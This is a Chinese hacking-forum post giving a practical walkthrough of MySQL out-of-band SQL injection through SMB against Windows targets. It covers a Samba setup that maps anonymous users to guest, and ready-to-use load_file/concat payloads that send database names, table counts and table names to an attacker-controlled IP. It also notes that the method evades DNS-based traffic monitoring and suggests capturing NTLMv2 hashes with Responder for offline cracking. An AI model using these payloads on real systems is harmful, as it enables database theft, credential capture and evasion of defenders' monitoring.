跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

mysql smb外带注入漏洞实战

精选回复

发布于

需求:secure_file_priv为空,目标系统为windows
smb设置如下:

找到 security = user , 旧版本将user 改为share,这里我用的新版本,需要在后面添加:
map to guest = Bad User
新设置一个smb

smb日志:/var/log/samba

smb外带注入与DNS外带注入比较:

  1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
  2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。

构造sql语句:

select load_file(concat("\\\\<IP>\\",(SQL语句),"\\xxx"))


为了方便从log里提取查询的内容,可以构造如下语句
select load_file(concat("\\\\10.23.79.94\\yayi[",database(),"]\\1.txt"));

查询当前数据库里的表

1. 使用limit
2. substring截断

使用limit请先获取总共的表数

select load_file(concat("\\\\10.23.79.94\\yayi[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\\1.txt"));

再用limit逐个查询

select load_file(concat("\\\\10.23.79.94\\yayi[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\\1.txt"));
RwKS8U.png
RwKp2F.png

substring截断
截断到120字符串即可

select load_file(concat("\\\\10.23.79.94\\yayi[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\\1.txt"));
RwKAV1.png

还有另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破

RwKUxg.png

参考链接:http://moonslow.com/article/smb_sql_injection

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。